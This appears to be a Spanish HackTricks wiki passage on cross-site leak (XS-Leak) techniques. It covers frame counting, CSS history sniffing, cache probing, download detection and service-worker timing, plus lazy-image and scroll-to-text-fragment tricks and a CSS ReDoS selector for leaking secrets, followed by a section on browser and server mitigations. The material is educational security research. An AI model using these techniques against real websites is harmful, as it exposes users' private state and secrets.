Contar el número de marcos en una página web abierta mediante iframe o window.open puede ayudar a identificar el estado del usuario en esa página. Además, si la página siempre tiene el mismo número de marcos, verificar continuamente el número de marcos puede ayudar a identificar un patrón que podría filtrar información.

Un ejemplo de esta técnica es que en Chrome, un PDF se puede detectar con el conteo de marcos porque se utiliza internamente un embed. Hay Parámetros de URL abiertos que permiten cierto control sobre el contenido, como zoom, view, page, toolbar, donde esta técnica podría ser interesante.

HTMLElements

Algunas páginas web pueden generar dinámicamente archivos multimedia según la información del usuario o agregar marcas de agua que cambian el tamaño del medio. Un atacante puede utilizar la información filtrada por esos elementos HTML para distinguir entre posibles estados.

Algunos HTMLElements filtrarán información a través de orígenes cruzados, como el tipo de medio que son:

Propiedad CSS

Las aplicaciones web pueden cambiar el estilo del sitio web según el estado del usuario. Los archivos CSS de origen cruzado se pueden incrustar en la página del atacante con el elemento de enlace HTML, y las reglas se aplicarán a la página del atacante. Si una página cambia dinámicamente estas reglas, un atacante puede detectar estas diferencias según el estado del usuario.
Como técnica de filtración, el atacante puede utilizar el método window.getComputedStyle para leer las propiedades CSS de un elemento HTML específico. Como resultado, un atacante puede leer propiedades CSS arbitrarias si se conoce el elemento afectado y el nombre de la propiedad.

Historial CSS

{% hint style="info" %} Según esto, esto no funciona en Chrome sin cabeza. {% endhint %}

Usando el selector CSS :visited, es posible aplicar un estilo diferente a las URL que han sido visitadas.
Anteriormente era posible utilizar getComputedStyle() para detectar esta diferencia, pero ahora los navegadores lo impiden devolviendo siempre valores como si el enlace hubiera sido visitado y limitando los estilos que se pueden aplicar utilizando el selector.
Por lo tanto, puede ser necesario engañar al usuario para que haga clic en un área en la que el CSS haya afectado esto se puede hacer utilizando mix-blend-mode.
También hay formas de hacerlo sin interacción del usuario, como abusar de los tiempos de renderizado, esto funciona porque lleva tiempo pintar los enlaces de un color diferente.
Se proporcionó una prueba de concepto en un informe de Chromium que funciona utilizando varios enlaces para aumentar la diferencia de tiempo.

Fuga de X-Frame del documento de contenido

En Chrome, cuando una página no está permitida para ser incrustada en una página de origen cruzado, porque el encabezado X-FrameOptions (XFO) está configurado en deny o same-origin, en su lugar se muestra una página de error. Para los objetos, esta página de error se puede detectar verificando la propiedad contentDocument. Por lo general, esta propiedad devuelve null porque no se permite el acceso a un documento incrustado de origen cruzado. Sin embargo, debido a la representación de Chrome de la página de error, se devuelve un objeto de documento vacío en su lugar. Esto no funciona para iframes ni en otros navegadores. Los desarrolladores pueden olvidar configurar X-Frame-Options para todas las páginas y especialmente las páginas de error a menudo carecen de este encabezado. Como técnica de fuga, un atacante puede diferenciar entre diferentes estados de usuario verificando esto.

Detección de descargas

El encabezado Content-Disposition (Content-Disposition: attachment) indica si el navegador debe descargar el contenido o mostrarlo en línea.

Si solo un usuario con sesión iniciada pudiera acceder a una página que descargará un archivo porque está utilizando el encabezado. Es posible detectar ese comportamiento.

Barra de descarga

En los navegadores basados en Chromium, cuando se descarga un archivo, se muestra una vista previa del proceso de descarga en una barra en la parte inferior, integrada en la ventana del navegador. Al monitorear la altura de la ventana, los atacantes pueden detectar si se abrió la "barra de descarga".

Navegación de descarga (con iframes)

Otra forma de probar el encabezado Content-Disposition: attachment es verificar si ocurrió una navegación. Si una carga de página provoca una descarga, no se activa una navegación y la ventana permanece dentro del mismo origen.

Navegación de descarga (sin iframes)

La misma técnica que la anterior, pero utilizando window.open en lugar de iframes.

Bypass de caché HTTP particionada

{% hint style="warning" %} Por eso esta técnica es interesante: Chrome ahora tiene particionamiento de caché, y la clave de caché de la página recién abierta es: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx), pero si abro una página de ngrok y uso fetch en ella, la clave de caché será: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), la clave de caché es diferente, por lo que la caché no se puede compartir. Puedes encontrar más detalles aquí: Ganando seguridad y privacidad mediante la partición de la caché
(Comentario de aquí) {% endhint %}

Si un sitio example.com incluye un recurso de *.example.com/resource, entonces ese recurso tendrá la misma clave de caché que si el recurso se solicitara directamente a través de una navegación de nivel superior. Esto se debe a que la clave de caché está compuesta por el eTLD+1 de nivel superior y el eTLD+1 del marco.

Debido a que acceder a la caché es más rápido que cargar un recurso, es posible intentar cambiar la ubicación de una página y cancelarla 20 ms (por ejemplo) después. Si el origen cambió después de la interrupción, significa que el recurso se almacenó en caché.
O simplemente enviar algunas solicitudes fetch a la página potencialmente en caché y medir el tiempo que tarda.

Redirección manual

Fetch con AbortController

AbortController se puede combinar con fetch y setTimeout para detectar si el recurso está en caché y para eliminar un recurso específico de la caché del navegador. Una característica interesante de esta técnica es que la exploración se realiza sin almacenar en caché nuevo contenido en el proceso.

Contaminación de scripts

Service Workers

  1. El atacante registra un service worker en uno de sus dominios (attacker.com).
  2. En el documento principal, el atacante emite una navegación (window.open) al sitio web objetivo e instruye al Service Worker para que inicie un temporizador.
  3. Cuando la nueva ventana comienza a cargarse, el atacante navega la referencia obtenida en el paso 2 a una página manejada por el Service Worker.
  4. Cuando la solicitud realizada en el paso 3 llega al service worker, devuelve una respuesta 204 (No Content), lo que aborta la navegación.
  5. En este punto, el Service Worker recopila una medida del temporizador iniciado en el paso 2. Esta medida se ve afectada por el tiempo que JavaScript bloqueó la navegación.

{% hint style="warning" %} En una medición de tiempo de ejecución, es posible eliminar factores de red para obtener mediciones más precisas. Por ejemplo, cargando los recursos utilizados por la página antes de cargarla. {% endhint %}

Tiempo de Fetch

Tiempo entre ventanas


Utiliza Trickest para construir y automatizar fácilmente flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.
Obtén acceso hoy mismo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Con HTML o reinyección

Aquí encontrarás técnicas para exfiltrar información de un HTML de origen cruzado inyectando contenido HTML. Estas técnicas son interesantes en casos en los que, por alguna razón, puedes inyectar HTML pero no puedes inyectar código JS.

Marcado colgante

{% content-ref url="dangling-markup-html-scriptless-injection/" %} dangling-markup-html-scriptless-injection {% endcontent-ref %}

Carga diferida de imágenes

Si necesitas exfiltrar contenido y puedes agregar HTML antes del secreto, debes revisar las técnicas comunes de marcado colgante.
Sin embargo, si por alguna razón DEBES hacerlo carácter por carácter (tal vez la comunicación se realiza a través de una coincidencia en la caché), puedes utilizar este truco.

Las imágenes en HTML tienen un atributo "loading" cuyo valor puede ser "lazy". En ese caso, la imagen se cargará cuando se vea y no mientras se carga la página:

<img src=/something loading=lazy >

Por lo tanto, lo que puedes hacer es agregar una gran cantidad de caracteres basura (por ejemplo, miles de "W") para llenar la página web antes del secreto o agregar algo como <br><canvas height="1850px"></canvas><br>.
Luego, si por ejemplo nuestra inyección aparece antes de la bandera, la imagen se cargará, pero si aparece después de la bandera, la bandera + la basura evitarán que se cargue (tendrás que jugar con la cantidad de basura que colocar). Esto es lo que sucedió en este informe.

Otra opción sería utilizar el scroll-to-text-fragment si está permitido:

Scroll-to-text-fragment

Sin embargo, haces que el bot acceda a la página con algo como

#:~:text=SECR

Entonces la página web será algo como: https://victim.com/post.html#:~:text=SECR

Donde post.html contiene los caracteres basura del atacante y la imagen de carga lenta, y luego se agrega el secreto del bot.

Lo que hará este texto es hacer que el bot acceda a cualquier texto en la página que contenga el texto SECR. Como ese texto es el secreto y está justo debajo de la imagen, la imagen solo se cargará si el secreto adivinado es correcto. Así que ahí tienes tu oráculo para filtrar el secreto carácter por carácter.

Algunos ejemplos de código para explotar esto: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Carga lenta de imágenes basada en el tiempo

Si no es posible cargar una imagen externa que pueda indicar al atacante que la imagen se cargó, otra opción sería intentar adivinar el carácter varias veces y medir eso. Si la imagen se carga, todas las solicitudes tomarán más tiempo que si la imagen no se carga. Esto es lo que se utilizó en la solución de este informe resumido aquí:

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

ReDoS

{% content-ref url="regular-expression-denial-of-service-redos.md" %} regular-expression-denial-of-service-redos.md {% endcontent-ref %}

CSS ReDoS

Si se utiliza jQuery(location.hash), es posible averiguar a través del tiempo si existe algún contenido HTML, esto se debe a que si el selector main[id='site-main'] no coincide, no es necesario verificar el resto de los selectores:

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

Inyección de CSS

{% content-ref url="xs-search/css-injection/" %} css-injection {% endcontent-ref %}

Defensas

En esta sección puedes encontrar parte de las mitigaciones recomendadas en https://xsinator.com/paper.pdf, sin embargo, hay más mitigaciones en cada sección de la wiki https://xsleaks.dev/. Echa un vistazo allí para obtener más información sobre cómo protegerse contra estas técnicas.

Mitigaciones del Método de Inclusión

  • Elementos HTML. Puede utilizar el encabezado CORP para controlar si las páginas pueden incrustar un recurso. CORP puede establecerse en same-origin o same-site y bloquea cualquier solicitud de origen cruzado o de sitio cruzado a ese recurso. En el lado del cliente, los navegadores basados en Chromium utilizan el algoritmo CORB para decidir si se deben permitir o denegar las solicitudes de recursos de origen cruzado.
  • Marcos. La principal defensa para evitar que los elementos iframe carguen recursos HTML es el uso de X-Frame-Options. Alternativamente, la directiva frame-ancestors de CSP puede lograr un resultado similar. Si se niega la incrustación, el método de inclusión no puede detectar una diferencia en las respuestas.
  • Ventanas emergentes. Para restringir el acceso a window.opener, el encabezado de respuesta HTTP COOP define tres valores diferentes: unsafe-none (predeterminado), same-origin-allow-popups y same-origin. Estos valores se pueden utilizar para aislar las pestañas de navegación y las ventanas emergentes y, por lo tanto, mitigar las técnicas de filtración basadas en ventanas emergentes.
  • Solicitudes de JavaScript. Las solicitudes de JavaScript de origen cruzado se utilizan a menudo en ataques de XS-Leak, porque un atacante tiene un control detallado sobre la solicitud emitida. Sin embargo, dado que estas solicitudes no tienen habilitado CORS, están sujetas a las mismas restricciones que las solicitudes enviadas por elementos HTML, como scripts o imágenes. Por lo tanto, el impacto de esta técnica de filtración también se puede mitigar mediante CORP y CORB.

Métodos más genéricos:

  • Metadatos de búsqueda. Estas cabeceras de solicitud permiten a los propietarios del servidor comprender mejor cómo el navegador del usuario causó una solicitud específica. En Chrome, las cabeceras Sec-Fetch-* se agregan automáticamente a cada solicitud y proporcionan metadatos sobre la procedencia de la solicitud. Por ejemplo, Sec-Fetch-Dest: image se activó desde un elemento de imagen. Las aplicaciones web pueden elegir bloquear solicitudes en función de esa información.
  • Cookies Same-Site. La marca Same-Site en las cookies permite a los sitios web declarar si una cookie debe estar restringida al mismo sitio o al contexto de primer nivel. Todos los principales navegadores admiten cookies Same-Site. En Chrome, las cookies sin el atributo ahora son Lax de forma predeterminada. Para XS-Leaks, las cookies Same-Site limitan drásticamente las posibilidades de ataque de filtración. Por otro lado, las técnicas de filtración que dependen de window.open aún funcionan con SameSite=Lax. Los sitios web que utilizan otros métodos de autenticación, como certificados en el lado del cliente y autenticación HTTP, siguen siendo vulnerables.
  • Desvinculación de Identificadores de Origen Cruzado (COIU). COIU, también conocido como Aislamiento de Primera Parte (FPI), es una función de seguridad opcional que los usuarios pueden habilitar en la configuración avanzada de FF (about:config) y que se introdujo inicialmente en el navegador Tor. En un sentido abstracto, es un contexto de mismo sitio extendido. Vincula múltiples recursos (por ejemplo, cookies, caché, almacenamiento en el lado del cliente) a la primera parte en lugar de compartirlos entre todos los sitios web visitados. Si se habilita, COIU disminuye drásticamente la aplicabilidad de XS-Leaks, ya que solo son posibles los métodos que utilizan ventanas emergentes para cumplir con el requisito de primera parte de la política.
  • Protecciones de seguimiento. Apple implementó un mecanismo de privacidad llamado Prevención de seguimiento inteligente (ITP) en SA que tiene como objetivo combatir el seguimiento entre sitios limitando las capacidades de las cookies y otras API web. En versiones más recientes de SA, ITP bloquea todas las cookies de terceros de forma predeterminada sin excepciones [74]. Este bloqueo evita todas las filtraciones que no se basan en ventanas emergentes. FF adoptó un enfoque similar con la Prevención de seguimiento mejorada (ETP), pero solo bloquean cookies de terceros específicas pertenecientes a proveedores de seguimiento. En el contexto de XS-Leaks, ETP solo mitiga las técnicas de filtración que apuntan a estos dominios de seguimiento.
  • Extensiones del navegador. Los usuarios conscientes de la seguridad pueden utilizar extensiones del navegador para prevenir ciertos métodos de inclusión.

Mitigaciones de Técnicas de Filtración

  • Controlador de eventos. La mitigación más efectiva para esta técnica de filtración sería denegarlos todos, pero esto rompería la mayoría de las aplicaciones web en Internet. Por lo tanto, proponemos reducir la cantidad de información necesaria que se puede recopilar dentro de los eventos. Por ejemplo, el evento de violación de CSP no debe contener la URL de destino de redirección en el campo blockedURI. Este comportamiento está implementado en FF y en versiones más recientes de GC, solo SA sigue siendo vulnerable.
  • Mensajes de error. Para mitigar las filtraciones de XS-Leaks basadas en la técnica de filtración de mensajes de error, hay dos requisitos principales. En primer lugar, los mensajes de error no deben contener información detallada, de manera similar a los mensajes de controlador de eventos. En segundo lugar, los navegadores deben minimizar la aparición de mensajes de error. XS-Leaks como SRI Error, ContentDocument XFO o Fetch Redirect detectan si se lanza un mensaje de error o no.
  • Límites globales. La corrección de las técnicas de filtración que abusan de los límites globales es relativamente compleja porque se basan en restricciones físicas. La recomendación general es restringir los límites globales en función de cada sitio de manera pequeña. Si el límite global es 1, como en el caso de la API de pago, el atacante puede intentar activar silenciosamente la interfaz de pago web en cualquier momento, lo cual solo tiene éxito si la interfaz no se está utilizando simultáneamente en ninguna otra pestaña. Recomendamos acceder a la API de pago solo cuando se haya utilizado un evento confiable. De esta manera, el límite global se establece en cero a menos que el usuario dé su consentimiento, como un clic izquierdo del mouse en una ventana de diálogo, lo que establece el límite global en uno.
  • Estado global. No se debe acceder a ninguna propiedad del estado global del navegador. Por ejemplo, FF es el único navegador que actualiza el historial del estado global cuando ocurre una redirección, lo que resulta en la lectura de history.length. Los navegadores deben crear una nueva propiedad de historial cuando ocurre una redirección en lugar de almacenarla globalmente. Otros ejemplos son los recursos compartidos, como las cachés. Las filtraciones de caché abusan de la caché compartida utilizada para todos los sitios web abiertos en un navegador. Para mitigar por completo las técnicas de filtración de caché, la caché HTTP debe estar particionada en función de cada sitio, como lo implementan SA, GC y FF. Tenga en cuenta que en SA, los iframes no se ven afectados por la partición de la caché.
  • API de rendimiento. Demostramos que la API de rendimiento es una excelente técnica de filtración. En muchos XS-Leaks, pudimos detectar la diferencia entre si la respuesta de una solicitud de origen cruzado tiene o no una entrada de rendimiento. Como unificación, recomendamos asegurarnos de que todas las solicitudes creen dicha entrada y que solo se registre el subconjunto correcto de información de temporización para las solicitudes de origen cruzado.

Referencias

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥


Utiliza Trickest para construir y automatizar flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.
Obtén acceso hoy mismo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}